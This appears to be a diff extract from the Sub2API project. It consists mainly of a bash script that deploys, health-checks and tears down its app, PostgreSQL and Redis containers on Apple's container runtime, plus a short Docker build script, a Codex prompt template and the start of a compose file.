|
||||
fi
|
||||
}
|
||||
|
||||
list_resource_ids() {
|
||||
case "$1" in
|
||||
container) container list --all --quiet ;;
|
||||
network) container network list --quiet ;;
|
||||
volume) container volume list --quiet ;;
|
||||
*) die "Unknown resource type: $1" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
resource_exists() {
|
||||
local resource_type=$1
|
||||
local resource_name=$2
|
||||
local output line
|
||||
|
||||
if ! output="$(list_resource_ids "${resource_type}")"; then
|
||||
die "Failed to list Apple container ${resource_type} resources."
|
||||
fi
|
||||
|
||||
while IFS= read -r line; do
|
||||
if [[ "${line}" == "${resource_name}" ]]; then
|
||||
return 0
|
||||
fi
|
||||
done <<<"${output}"
|
||||
|
||||
return 1
|
||||
}
|
||||
|
||||
inspect_resource() {
|
||||
case "$1" in
|
||||
container) container inspect "$2" ;;
|
||||
network) container network inspect "$2" ;;
|
||||
volume) container volume inspect "$2" ;;
|
||||
*) die "Unknown resource type: $1" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
assert_resource_owned() {
|
||||
local resource_type=$1
|
||||
local resource_name=$2
|
||||
local inspection compact
|
||||
|
||||
inspection="$(inspect_resource "${resource_type}" "${resource_name}" | \
|
||||
plutil -extract 0.configuration.labels json -o - -)" || \
|
||||
die "Failed to inspect ${resource_type} ${resource_name}."
|
||||
compact="$(printf '%s' "${inspection}" | tr -d '[:space:]')"
|
||||
if [[ "${compact}" != *"\"${STACK_LABEL_KEY}\":\"${STACK_LABEL_VALUE}\""* ]]; then
|
||||
die "Refusing to manage existing ${resource_type} '${resource_name}' because it is not owned by this stack."
|
||||
fi
|
||||
}
|
||||
|
||||
preflight_stack_ownership() {
|
||||
local resource_name
|
||||
|
||||
for resource_name in "${APP_CONTAINER}" "${REDIS_CONTAINER}" "${POSTGRES_CONTAINER}"; do
|
||||
if resource_exists container "${resource_name}"; then
|
||||
assert_resource_owned container "${resource_name}"
|
||||
fi
|
||||
done
|
||||
if resource_exists network "${NETWORK_NAME}"; then
|
||||
assert_resource_owned network "${NETWORK_NAME}"
|
||||
fi
|
||||
for resource_name in "${APP_VOLUME}" "${REDIS_VOLUME}" "${POSTGRES_VOLUME}"; do
|
||||
if resource_exists volume "${resource_name}"; then
|
||||
assert_resource_owned volume "${resource_name}"
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
ensure_network() {
|
||||
if resource_exists network "${NETWORK_NAME}"; then
|
||||
assert_resource_owned network "${NETWORK_NAME}"
|
||||
return
|
||||
fi
|
||||
|
||||
info "Creating network ${NETWORK_NAME}..."
|
||||
container network create \
|
||||
--label "${STACK_LABEL_KEY}=${STACK_LABEL_VALUE}" \
|
||||
"${NETWORK_NAME}" >/dev/null
|
||||
}
|
||||
|
||||
ensure_volume() {
|
||||
local volume_name=$1
|
||||
|
||||
if resource_exists volume "${volume_name}"; then
|
||||
assert_resource_owned volume "${volume_name}"
|
||||
return
|
||||
fi
|
||||
|
||||
info "Creating volume ${volume_name}..."
|
||||
container volume create \
|
||||
--label "${STACK_LABEL_KEY}=${STACK_LABEL_VALUE}" \
|
||||
"${volume_name}" >/dev/null
|
||||
}
|
||||
|
||||
ensure_image_available() {
|
||||
local image=$1
|
||||
|
||||
if container image inspect "${image}" >/dev/null 2>&1; then
|
||||
return
|
||||
fi
|
||||
info "Pulling ${image}..."
|
||||
container image pull --platform "${PLATFORM}" "${image}"
|
||||
}
|
||||
|
||||
container_is_running() {
|
||||
local container_name=$1
|
||||
local output line
|
||||
|
||||
output="$(container list --quiet)" || die "Failed to list running Apple containers."
|
||||
while IFS= read -r line; do
|
||||
if [[ "${line}" == "${container_name}" ]]; then
|
||||
return 0
|
||||
fi
|
||||
done <<<"${output}"
|
||||
|
||||
return 1
|
||||
}
|
||||
|
||||
ensure_system() {
|
||||
require_container_version
|
||||
require_command curl
|
||||
start_system
|
||||
}
|
||||
|
||||
container_ipv4_address() {
|
||||
local container_name=$1
|
||||
local address
|
||||
|
||||
address="$(container inspect "${container_name}" | \
|
||||
plutil -extract 0.status.networks.0.ipv4Address raw -o - -)" || \
|
||||
die "Unable to read the network address for ${container_name}."
|
||||
address="${address%%/*}"
|
||||
[[ "${address}" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]] || \
|
||||
die "Apple container returned an invalid IPv4 address for ${container_name}: ${address}"
|
||||
printf '%s\n' "${address}"
|
||||
}
|
||||
|
||||
read_env_value() {
|
||||
local key=$1
|
||||
local fallback=${2-}
|
||||
|
||||
awk -v wanted="${key}" -v fallback="${fallback}" '
|
||||
BEGIN { found = 0 }
|
||||
/^[[:space:]]*#/ || /^[[:space:]]*$/ { next }
|
||||
{
|
||||
separator = index($0, "=")
|
||||
if (separator == 0) { next }
|
||||
key = substr($0, 1, separator - 1)
|
||||
if (key == wanted) {
|
||||
value = substr($0, separator + 1)
|
||||
sub(/\r$/, "", value)
|
||||
found = 1
|
||||
}
|
||||
}
|
||||
END {
|
||||
if (found) { print value }
|
||||
else { print fallback }
|
||||
}
|
||||
' "${ENV_FILE}"
|
||||
}
|
||||
|
||||
replace_env_value() {
|
||||
local key=$1
|
||||
local value=$2
|
||||
local target_file=${3:-${ENV_FILE}}
|
||||
local temp_file="${target_file}.tmp.$$"
|
||||
|
||||
awk -v wanted="${key}" -v replacement="${value}" '
|
||||
BEGIN { replaced = 0 }
|
||||
{
|
||||
separator = index($0, "=")
|
||||
key = separator == 0 ? "" : substr($0, 1, separator - 1)
|
||||
if (key == wanted) {
|
||||
if (!replaced) { print wanted "=" replacement }
|
||||
replaced = 1
|
||||
next
|
||||
}
|
||||
print
|
||||
}
|
||||
END {
|
||||
if (!replaced) { print wanted "=" replacement }
|
||||
}
|
||||
' "${target_file}" >"${temp_file}"
|
||||
chmod 600 "${temp_file}"
|
||||
mv "${temp_file}" "${target_file}"
|
||||
}
|
||||
|
||||
generate_secret() {
|
||||
openssl rand -hex 32
|
||||
}
|
||||
|
||||
cmd_init() {
|
||||
local env_dir temp_file postgres_secret jwt_secret totp_secret
|
||||
|
||||
require_command openssl
|
||||
|
||||
if [[ -e "${ENV_FILE}" ]]; then
|
||||
die "Environment file already exists: ${ENV_FILE}"
|
||||
fi
|
||||
|
||||
postgres_secret="$(generate_secret)" || die "Failed to generate PostgreSQL password."
|
||||
jwt_secret="$(generate_secret)" || die "Failed to generate JWT secret."
|
||||
totp_secret="$(generate_secret)" || die "Failed to generate TOTP encryption key."
|
||||
[[ -n "${postgres_secret}" && -n "${jwt_secret}" && -n "${totp_secret}" ]] || \
|
||||
die "Secret generation returned an empty value."
|
||||
|
||||
env_dir="$(dirname "${ENV_FILE}")"
|
||||
temp_file="${ENV_FILE}.init.tmp.$$"
|
||||
mkdir -p "${env_dir}"
|
||||
cp "${SCRIPT_DIR}/.env.example" "${temp_file}"
|
||||
chmod 600 "${temp_file}"
|
||||
replace_env_value POSTGRES_PASSWORD "${postgres_secret}" "${temp_file}"
|
||||
replace_env_value JWT_SECRET "${jwt_secret}" "${temp_file}"
|
||||
replace_env_value TOTP_ENCRYPTION_KEY "${totp_secret}" "${temp_file}"
|
||||
mv "${temp_file}" "${ENV_FILE}"
|
||||
|
||||
info "Created ${ENV_FILE} with generated secrets."
|
||||
info "Review the file, then run: SUB2API_ENV_FILE='${ENV_FILE}' ${SCRIPT_DIR}/apple-container.sh up"
|
||||
}
|
||||
|
||||
validate_port() {
|
||||
local port=$1
|
||||
local decimal_port
|
||||
|
||||
[[ "${port}" =~ ^[0-9]+$ ]] || die "SERVER_PORT must be numeric: ${port}"
|
||||
decimal_port=$((10#${port}))
|
||||
(( decimal_port >= 1025 && decimal_port <= 65535 )) || \
|
||||
die "SERVER_PORT must be between 1025 and 65535 for Apple container port forwarding."
|
||||
}
|
||||
|
||||
validate_ipv4_address() {
|
||||
local address=$1
|
||||
local first second third fourth extra octet
|
||||
|
||||
IFS=. read -r first second third fourth extra <<<"${address}"
|
||||
[[ -n "${first}" && -n "${second}" && -n "${third}" && -n "${fourth}" && -z "${extra}" ]] || \
|
||||
die "BIND_HOST must be a valid IPv4 address: ${address}"
|
||||
for octet in "${first}" "${second}" "${third}" "${fourth}"; do
|
||||
[[ "${octet}" =~ ^[0-9]+$ ]] || die "BIND_HOST must be a valid IPv4 address: ${address}"
|
||||
(( 10#${octet} <= 255 )) || die "BIND_HOST must be a valid IPv4 address: ${address}"
|
||||
done
|
||||
}
|
||||
|
||||
validate_env_file_security() {
|
||||
local owner mode permissions
|
||||
|
||||
[[ -f "${ENV_FILE}" ]] || die "Environment file not found: ${ENV_FILE}. Run '$0 init' first."
|
||||
owner="$(stat -f '%u' "${ENV_FILE}")" || die "Unable to read owner for ${ENV_FILE}."
|
||||
mode="$(stat -f '%Lp' "${ENV_FILE}")" || die "Unable to read permissions for ${ENV_FILE}."
|
||||
[[ "${owner}" == "${EUID}" ]] || die "Environment file must be owned by the current user: ${ENV_FILE}"
|
||||
[[ "${mode}" =~ ^[0-7]+$ ]] || die "Unable to parse permissions for ${ENV_FILE}: ${mode}"
|
||||
permissions=$((8#${mode}))
|
||||
(( (permissions & 077) == 0 )) || \
|
||||
die "Environment file must not be readable by group or others. Run: chmod 600 '${ENV_FILE}'"
|
||||
}
|
||||
|
||||
prepare_environment() {
|
||||
validate_env_file_security
|
||||
|
||||
APP_IMAGE="$(read_env_value APPLE_CONTAINER_SUB2API_IMAGE weishaw/sub2api:latest)"
|
||||
POSTGRES_IMAGE="$(read_env_value APPLE_CONTAINER_POSTGRES_IMAGE postgres:18-alpine)"
|
||||
REDIS_IMAGE="$(read_env_value APPLE_CONTAINER_REDIS_IMAGE redis:8-alpine)"
|
||||
BIND_HOST="$(read_env_value BIND_HOST 0.0.0.0)"
|
||||
HOST_PORT="$(read_env_value SERVER_PORT 8080)"
|
||||
POSTGRES_USER="$(read_env_value POSTGRES_USER sub2api)"
|
||||
POSTGRES_PASSWORD="$(read_env_value POSTGRES_PASSWORD)"
|
||||
POSTGRES_DB="$(read_env_value POSTGRES_DB sub2api)"
|
||||
REDIS_PASSWORD="$(read_env_value REDIS_PASSWORD)"
|
||||
TZ_VALUE="$(read_env_value TZ Asia/Shanghai)"
|
||||
|
||||
[[ -n "${BIND_HOST}" ]] || die "BIND_HOST must not be empty."
|
||||
validate_ipv4_address "${BIND_HOST}"
|
||||
validate_port "${HOST_PORT}"
|
||||
if [[ "${BIND_HOST}" == "0.0.0.0" ]]; then
|
||||
ACCESS_HOST="127.0.0.1"
|
||||
else
|
||||
ACCESS_HOST="${BIND_HOST}"
|
||||
fi
|
||||
[[ -n "${POSTGRES_USER}" ]] || die "POSTGRES_USER must not be empty."
|
||||
[[ -n "${POSTGRES_DB}" ]] || die "POSTGRES_DB must not be empty."
|
||||
if [[ -z "${POSTGRES_PASSWORD}" || "${POSTGRES_PASSWORD}" == "change_this_secure_password" ]]; then
|
||||
die "Set a secure POSTGRES_PASSWORD in ${ENV_FILE}."
|
||||
fi
|
||||
|
||||
TEMP_DIR="$(mktemp -d "${TMPDIR:-/tmp}/sub2api-apple.XXXXXX")"
|
||||
APP_ENV_FILE="${TEMP_DIR}/app.env"
|
||||
POSTGRES_ENV_FILE="${TEMP_DIR}/postgres.env"
|
||||
POSTGRES_PROBE_ENV_FILE="${TEMP_DIR}/postgres-probe.env"
|
||||
REDIS_ENV_FILE="${TEMP_DIR}/redis.env"
|
||||
|
||||
cat >"${POSTGRES_ENV_FILE}" <<EOF
|
||||
POSTGRES_USER=${POSTGRES_USER}
|
||||
POSTGRES_PASSWORD=${POSTGRES_PASSWORD}
|
||||
POSTGRES_DB=${POSTGRES_DB}
|
||||
TZ=${TZ_VALUE}
|
||||
EOF
|
||||
|
||||
cat >"${POSTGRES_PROBE_ENV_FILE}" <<EOF
|
||||
PGPASSWORD=${POSTGRES_PASSWORD}
|
||||
EOF
|
||||
|
||||
cat >"${REDIS_ENV_FILE}" <<EOF
|
||||
REDIS_PASSWORD=${REDIS_PASSWORD}
|
||||
TZ=${TZ_VALUE}
|
||||
EOF
|
||||
if [[ -n "${REDIS_PASSWORD}" ]]; then
|
||||
printf 'REDISCLI_AUTH=%s\n' "${REDIS_PASSWORD}" >>"${REDIS_ENV_FILE}"
|
||||
fi
|
||||
|
||||
chmod 600 "${POSTGRES_ENV_FILE}" "${POSTGRES_PROBE_ENV_FILE}" "${REDIS_ENV_FILE}"
|
||||
}
|
||||
|
||||
prepare_app_environment() {
|
||||
[[ -n "${POSTGRES_ADDRESS}" && -n "${REDIS_ADDRESS}" ]] || \
|
||||
die "Dependency network addresses are not available."
|
||||
|
||||
cp "${ENV_FILE}" "${APP_ENV_FILE}"
|
||||
cat >>"${APP_ENV_FILE}" <<EOF
|
||||
|
||||
AUTO_SETUP=true
|
||||
SERVER_HOST=0.0.0.0
|
||||
SERVER_PORT=8080
|
||||
DATABASE_HOST=${POSTGRES_ADDRESS}
|
||||
DATABASE_PORT=5432
|
||||
DATABASE_USER=${POSTGRES_USER}
|
||||
DATABASE_PASSWORD=${POSTGRES_PASSWORD}
|
||||
DATABASE_DBNAME=${POSTGRES_DB}
|
||||
DATABASE_SSLMODE=disable
|
||||
REDIS_HOST=${REDIS_ADDRESS}
|
||||
REDIS_PORT=6379
|
||||
REDIS_PASSWORD=${REDIS_PASSWORD}
|
||||
DATA_DIR=/app/storage/data
|
||||
EOF
|
||||
chmod 600 "${APP_ENV_FILE}"
|
||||
}
|
||||
|
||||
create_postgres_container() {
|
||||
info "Creating PostgreSQL container..."
|
||||
container create \
|
||||
--name "${POSTGRES_CONTAINER}" \
|
||||
--label "${STACK_LABEL_KEY}=${STACK_LABEL_VALUE}" \
|
||||
--network "${NETWORK_NAME}" \
|
||||
--platform "${PLATFORM}" \
|
||||
--ulimit nofile=100000:100000 \
|
||||
--env-file "${POSTGRES_ENV_FILE}" \
|
||||
--volume "${POSTGRES_VOLUME}:/var/lib/postgresql" \
|
||||
"${POSTGRES_IMAGE}" >/dev/null
|
||||
}
|
||||
|
||||
create_redis_container() {
|
||||
info "Creating Redis container..."
|
||||
container create \
|
||||
--name "${REDIS_CONTAINER}" \
|
||||
--label "${STACK_LABEL_KEY}=${STACK_LABEL_VALUE}" \
|
||||
--network "${NETWORK_NAME}" \
|
||||
--platform "${PLATFORM}" \
|
||||
--ulimit nofile=100000:100000 \
|
||||
--env-file "${REDIS_ENV_FILE}" \
|
||||
--volume "${REDIS_VOLUME}:/var/lib/redis" \
|
||||
"${REDIS_IMAGE}" \
|
||||
sh -c 'set -e; mkdir -p /var/lib/redis/data; chown redis:redis /var/lib/redis/data; exec /usr/local/bin/docker-entrypoint.sh redis-server --dir /var/lib/redis/data --save 60 1 --appendonly yes --appendfsync everysec ${REDIS_PASSWORD:+--requirepass "$REDIS_PASSWORD"}' \
|
||||
>/dev/null
|
||||
}
|
||||
|
||||
create_app_container() {
|
||||
info "Creating Sub2API container..."
|
||||
container create \
|
||||
--name "${APP_CONTAINER}" \
|
||||
--label "${STACK_LABEL_KEY}=${STACK_LABEL_VALUE}" \
|
||||
--network "${NETWORK_NAME}" \
|
||||
--platform "${PLATFORM}" \
|
||||
--ulimit nofile=100000:100000 \
|
||||
--publish "${BIND_HOST}:${HOST_PORT}:8080/tcp" \
|
||||
--env-file "${APP_ENV_FILE}" \
|
||||
--volume "${APP_VOLUME}:/app/storage" \
|
||||
--entrypoint /bin/sh \
|
||||
"${APP_IMAGE}" \
|
||||
-c 'set -e; mkdir -p "$DATA_DIR"; chown -R sub2api:sub2api "$DATA_DIR"; exec su-exec sub2api /app/sub2api' \
|
||||
>/dev/null
|
||||
}
|
||||
|
||||
ensure_container() {
|
||||
local container_name=$1
|
||||
local create_function=$2
|
||||
|
||||
if resource_exists container "${container_name}"; then
|
||||
assert_resource_owned container "${container_name}"
|
||||
return
|
||||
fi
|
||||
|
||||
"${create_function}"
|
||||
}
|
||||
|
||||
start_container_if_needed() {
|
||||
local container_name=$1
|
||||
|
||||
if container_is_running "${container_name}"; then
|
||||
return
|
||||
fi
|
||||
|
||||
info "Starting ${container_name}..."
|
||||
container start "${container_name}" >/dev/null
|
||||
}
|
||||
|
||||
stop_container_if_running() {
|
||||
local container_name=$1
|
||||
|
||||
if ! resource_exists container "${container_name}"; then
|
||||
return
|
||||
fi
|
||||
assert_resource_owned container "${container_name}"
|
||||
if container_is_running "${container_name}"; then
|
||||
info "Stopping ${container_name}..."
|
||||
container stop --time 30 "${container_name}" >/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
delete_container_if_present() {
|
||||
local container_name=$1
|
||||
|
||||
if ! resource_exists container "${container_name}"; then
|
||||
return
|
||||
fi
|
||||
assert_resource_owned container "${container_name}"
|
||||
if container_is_running "${container_name}"; then
|
||||
container stop --time 30 "${container_name}" >/dev/null
|
||||
fi
|
||||
info "Deleting ${container_name}..."
|
||||
container delete "${container_name}" >/dev/null
|
||||
}
|
||||
|
||||
wait_for_probe() {
|
||||
local description=$1
|
||||
local attempts=$2
|
||||
shift 2
|
||||
|
||||
local attempt
|
||||
for ((attempt = 1; attempt <= attempts; attempt++)); do
|
||||
if "$@" >/dev/null 2>&1; then
|
||||
info "${description} is ready."
|
||||
return 0
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
|
||||
return 1
|
||||
}
|
||||
|
||||
probe_postgres() {
|
||||
container exec --env-file "${POSTGRES_PROBE_ENV_FILE}" \
|
||||
"${POSTGRES_CONTAINER}" \
|
||||
psql -h 127.0.0.1 -U "${POSTGRES_USER}" -d "${POSTGRES_DB}" \
|
||||
-v ON_ERROR_STOP=1 -tAc 'SELECT 1'
|
||||
}
|
||||
|
||||
probe_redis() {
|
||||
container exec --env-file "${REDIS_ENV_FILE}" \
|
||||
"${REDIS_CONTAINER}" \
|
||||
redis-cli ping
|
||||
}
|
||||
|
||||
probe_app() {
|
||||
container exec "${APP_CONTAINER}" \
|
||||
wget -q -T 5 -O /dev/null http://localhost:8080/health
|
||||
}
|
||||
|
||||
probe_host_app() {
|
||||
curl --fail --silent --show-error --max-time 5 \
|
||||
"http://${ACCESS_HOST}:${HOST_PORT}/health"
|
||||
}
|
||||
|
||||
show_failure_logs() {
|
||||
local container_name=$1
|
||||
|
||||
warn "Last logs from ${container_name}:"
|
||||
container logs -n 50 "${container_name}" >&2 || true
|
||||
}
|
||||
|
||||
start_dependencies() {
|
||||
start_container_if_needed "${POSTGRES_CONTAINER}"
|
||||
if ! wait_for_probe "PostgreSQL" 90 probe_postgres; then
|
||||
show_failure_logs "${POSTGRES_CONTAINER}"
|
||||
die "PostgreSQL did not become ready."
|
||||
fi
|
||||
|
||||
start_container_if_needed "${REDIS_CONTAINER}"
|
||||
if ! wait_for_probe "Redis" 60 probe_redis; then
|
||||
show_failure_logs "${REDIS_CONTAINER}"
|
||||
die "Redis did not become ready."
|
||||
fi
|
||||
}
|
||||
|
||||
start_app() {
|
||||
start_container_if_needed "${APP_CONTAINER}"
|
||||
if ! wait_for_probe "Sub2API" 180 probe_app; then
|
||||
show_failure_logs "${APP_CONTAINER}"
|
||||
die "Sub2API did not become ready."
|
||||
fi
|
||||
if ! wait_for_probe "Sub2API host port" 15 probe_host_app; then
|
||||
die "Host port forwarding failed. In System Settings > Privacy & Security > Local Network, allow container-runtime-linux; restart Apple container services; then run 'apple-container.sh up' again."
|
||||
fi
|
||||
}
|
||||
|
||||
cmd_up() {
|
||||
local recreate=false
|
||||
|
||||
if [[ $# -gt 1 || ($# -eq 1 && "${1-}" != "--recreate") ]]; then
|
||||
usage
|
||||
exit 2
|
||||
fi
|
||||
if [[ $# -eq 1 ]]; then
|
||||
recreate=true
|
||||
fi
|
||||
|
||||
ensure_system
|
||||
prepare_environment
|
||||
preflight_stack_ownership
|
||||
ensure_network
|
||||
ensure_volume "${APP_VOLUME}"
|
||||
ensure_volume "${POSTGRES_VOLUME}"
|
||||
ensure_volume "${REDIS_VOLUME}"
|
||||
ensure_image_available "${APP_IMAGE}"
|
||||
ensure_image_available "${POSTGRES_IMAGE}"
|
||||
ensure_image_available "${REDIS_IMAGE}"
|
||||
|
||||
if [[ "${recreate}" == true ]]; then
|
||||
delete_container_if_present "${APP_CONTAINER}"
|
||||
delete_container_if_present "${REDIS_CONTAINER}"
|
||||
delete_container_if_present "${POSTGRES_CONTAINER}"
|
||||
fi
|
||||
|
||||
ensure_container "${POSTGRES_CONTAINER}" create_postgres_container
|
||||
ensure_container "${REDIS_CONTAINER}" create_redis_container
|
||||
start_dependencies
|
||||
POSTGRES_ADDRESS="$(container_ipv4_address "${POSTGRES_CONTAINER}")"
|
||||
REDIS_ADDRESS="$(container_ipv4_address "${REDIS_CONTAINER}")"
|
||||
prepare_app_environment
|
||||
# The dependency IPs may change whenever their lightweight VMs restart.
|
||||
delete_container_if_present "${APP_CONTAINER}"
|
||||
create_app_container
|
||||
start_app
|
||||
|
||||
info "Sub2API is available at http://${ACCESS_HOST}:${HOST_PORT}"
|
||||
}
|
||||
|
||||
cmd_down() {
|
||||
require_container_version
|
||||
if ! system_is_running; then
|
||||
info "Apple container services are already stopped."
|
||||
return
|
||||
fi
|
||||
preflight_stack_ownership
|
||||
stop_container_if_running "${APP_CONTAINER}"
|
||||
stop_container_if_running "${REDIS_CONTAINER}"
|
||||
stop_container_if_running "${POSTGRES_CONTAINER}"
|
||||
info "Sub2API stack stopped; persistent volumes were preserved."
|
||||
}
|
||||
|
||||
cmd_restart() {
|
||||
cmd_down
|
||||
cmd_up
|
||||
}
|
||||
|
||||
print_container_status() {
|
||||
local service=$1
|
||||
local container_name=$2
|
||||
|
||||
if ! resource_exists container "${container_name}"; then
|
||||
printf '%-12s %s\n' "${service}" "missing"
|
||||
elif container_is_running "${container_name}"; then
|
||||
printf '%-12s %s\n' "${service}" "running"
|
||||
else
|
||||
printf '%-12s %s\n' "${service}" "stopped"
|
||||
fi
|
||||
}
|
||||
|
||||
cmd_status() {
|
||||
local failed=0
|
||||
|
||||
require_container_version
|
||||
if ! system_is_running; then
|
||||
printf '%-12s %s\n' "system" "stopped"
|
||||
return 1
|
||||
fi
|
||||
|
||||
printf '%-12s %s\n' "system" "running"
|
||||
preflight_stack_ownership
|
||||
print_container_status app "${APP_CONTAINER}"
|
||||
print_container_status postgres "${POSTGRES_CONTAINER}"
|
||||
print_container_status redis "${REDIS_CONTAINER}"
|
||||
|
||||
if [[ -f "${ENV_FILE}" ]]; then
|
||||
prepare_environment
|
||||
if container_is_running "${POSTGRES_CONTAINER}" && probe_postgres >/dev/null 2>&1; then
|
||||
printf '%-12s %s\n' "postgres" "healthy"
|
||||
else
|
||||
printf '%-12s %s\n' "postgres" "unhealthy"
|
||||
failed=1
|
||||
fi
|
||||
if container_is_running "${REDIS_CONTAINER}" && probe_redis >/dev/null 2>&1; then
|
||||
printf '%-12s %s\n' "redis" "healthy"
|
||||
else
|
||||
printf '%-12s %s\n' "redis" "unhealthy"
|
||||
failed=1
|
||||
fi
|
||||
if container_is_running "${APP_CONTAINER}" && probe_app >/dev/null 2>&1; then
|
||||
printf '%-12s %s\n' "app" "healthy"
|
||||
else
|
||||
printf '%-12s %s\n' "app" "unhealthy"
|
||||
failed=1
|
||||
fi
|
||||
if container_is_running "${APP_CONTAINER}" && probe_host_app >/dev/null 2>&1; then
|
||||
printf '%-12s %s\n' "host-port" "healthy"
|
||||
else
|
||||
printf '%-12s %s\n' "host-port" "unhealthy"
|
||||
failed=1
|
||||
fi
|
||||
else
|
||||
warn "Health probes require ${ENV_FILE}."
|
||||
failed=1
|
||||
fi
|
||||
|
||||
return "${failed}"
|
||||
}
|
||||
|
||||
cmd_logs() {
|
||||
local service=${1-}
|
||||
local follow=${2-}
|
||||
local container_name
|
||||
|
||||
[[ $# -ge 1 && $# -le 2 ]] || { usage; exit 2; }
|
||||
if [[ -n "${follow}" && "${follow}" != "-f" && "${follow}" != "--follow" ]]; then
|
||||
usage
|
||||
exit 2
|
||||
fi
|
||||
|
||||
case "${service}" in
|
||||
app|sub2api) container_name="${APP_CONTAINER}" ;;
|
||||
postgres) container_name="${POSTGRES_CONTAINER}" ;;
|
||||
redis) container_name="${REDIS_CONTAINER}" ;;
|
||||
*) die "Unknown service '${service}'. Use app, postgres, or redis." ;;
|
||||
esac
|
||||
|
||||
require_container_version
|
||||
system_is_running || die "Apple container services are not running."
|
||||
resource_exists container "${container_name}" || die "Container not found: ${container_name}"
|
||||
assert_resource_owned container "${container_name}"
|
||||
if [[ -n "${follow}" ]]; then
|
||||
container logs --follow "${container_name}"
|
||||
else
|
||||
container logs "${container_name}"
|
||||
fi
|
||||
}
|
||||
|
||||
cmd_pull() {
|
||||
ensure_system
|
||||
prepare_environment
|
||||
info "Pulling ${APP_IMAGE}..."
|
||||
container image pull --platform "${PLATFORM}" "${APP_IMAGE}"
|
||||
info "Pulling ${POSTGRES_IMAGE}..."
|
||||
container image pull --platform "${PLATFORM}" "${POSTGRES_IMAGE}"
|
||||
info "Pulling ${REDIS_IMAGE}..."
|
||||
container image pull --platform "${PLATFORM}" "${REDIS_IMAGE}"
|
||||
}
|
||||
|
||||
confirm_destroy() {
|
||||
local include_volumes=$1
|
||||
local answer
|
||||
|
||||
if [[ "${include_volumes}" == true ]]; then
|
||||
printf 'Delete the Sub2API stack and all persistent data? [y/N] '
|
||||
else
|
||||
printf 'Delete the Sub2API containers and network, preserving volumes? [y/N] '
|
||||
fi
|
||||
read -r answer
|
||||
[[ "${answer}" == "y" || "${answer}" == "Y" ]]
|
||||
}
|
||||
|
||||
delete_volume_if_present() {
|
||||
local volume_name=$1
|
||||
|
||||
if resource_exists volume "${volume_name}"; then
|
||||
assert_resource_owned volume "${volume_name}"
|
||||
info "Deleting volume ${volume_name}..."
|
||||
container volume delete "${volume_name}" >/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
cmd_destroy() {
|
||||
local include_volumes=false
|
||||
local assume_yes=false
|
||||
local argument
|
||||
|
||||
for argument in "$@"; do
|
||||
case "${argument}" in
|
||||
--volumes) include_volumes=true ;;
|
||||
--yes) assume_yes=true ;;
|
||||
*) usage; exit 2 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
require_container_version
|
||||
start_system
|
||||
preflight_stack_ownership
|
||||
if [[ "${assume_yes}" != true ]] && ! confirm_destroy "${include_volumes}"; then
|
||||
info "Cancelled."
|
||||
return
|
||||
fi
|
||||
|
||||
delete_container_if_present "${APP_CONTAINER}"
|
||||
delete_container_if_present "${REDIS_CONTAINER}"
|
||||
delete_container_if_present "${POSTGRES_CONTAINER}"
|
||||
|
||||
if resource_exists network "${NETWORK_NAME}"; then
|
||||
assert_resource_owned network "${NETWORK_NAME}"
|
||||
info "Deleting network ${NETWORK_NAME}..."
|
||||
container network delete "${NETWORK_NAME}" >/dev/null
|
||||
fi
|
||||
|
||||
if [[ "${include_volumes}" == true ]]; then
|
||||
delete_volume_if_present "${APP_VOLUME}"
|
||||
delete_volume_if_present "${REDIS_VOLUME}"
|
||||
delete_volume_if_present "${POSTGRES_VOLUME}"
|
||||
info "Sub2API stack and persistent data deleted."
|
||||
else
|
||||
info "Sub2API stack deleted; persistent volumes were preserved."
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
local command=${1-}
|
||||
if [[ $# -gt 0 ]]; then
|
||||
shift
|
||||
fi
|
||||
|
||||
case "${command}" in
|
||||
init)
|
||||
[[ $# -eq 0 ]] || { usage; exit 2; }
|
||||
acquire_lock
|
||||
cmd_init
|
||||
;;
|
||||
up)
|
||||
acquire_lock
|
||||
cmd_up "$@"
|
||||
;;
|
||||
down)
|
||||
[[ $# -eq 0 ]] || { usage; exit 2; }
|
||||
acquire_lock
|
||||
cmd_down
|
||||
;;
|
||||
restart)
|
||||
[[ $# -eq 0 ]] || { usage; exit 2; }
|
||||
acquire_lock
|
||||
cmd_restart
|
||||
;;
|
||||
status)
|
||||
[[ $# -eq 0 ]] || { usage; exit 2; }
|
||||
trap cleanup EXIT
|
||||
cmd_status
|
||||
;;
|
||||
logs)
|
||||
cmd_logs "$@"
|
||||
;;
|
||||
pull)
|
||||
[[ $# -eq 0 ]] || { usage; exit 2; }
|
||||
acquire_lock
|
||||
cmd_pull
|
||||
;;
|
||||
destroy)
|
||||
acquire_lock
|
||||
cmd_destroy "$@"
|
||||
;;
|
||||
help|-h|--help)
|
||||
usage
|
||||
;;
|
||||
*)
|
||||
usage
|
||||
exit 2
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
main "$@"
|
||||
Executable
+13
@@ -0,0 +1,13 @@
|
||||
#!/usr/bin/env bash
|
||||
# 本地构建镜像的快速脚本,避免在命令行反复输入构建参数。
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_ROOT="$(cd "${SCRIPT_DIR}/.." && pwd)"
|
||||
|
||||
docker build -t sub2api:latest \
|
||||
--build-arg GOPROXY=https://goproxy.cn,direct \
|
||||
--build-arg GOSUMDB=sum.golang.google.cn \
|
||||
-f "${REPO_ROOT}/Dockerfile" \
|
||||
"${REPO_ROOT}"
|
||||
@@ -0,0 +1,5 @@
|
||||
You are Codex, based on GPT-5. You are running as a coding agent in the Codex CLI on a user's computer.
|
||||
|
||||
{{ if .ExistingInstructions }}
|
||||
{{ .ExistingInstructions }}
|
||||
{{ end }}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,148 @@
|
||||
# =============================================================================
|
||||
# Sub2API Docker Compose - Local Development Build
|
||||
# =============================================================================
|
||||
# Build from local source code for testing changes.
|
||||
#
|
||||
# Usage:
|
||||
# cd deploy
|
||||
# docker compose -f docker-compose.dev.yml up --build
|
||||
# =============================================================================
|
||||
|
||||
services:
|
||||
sub2api:
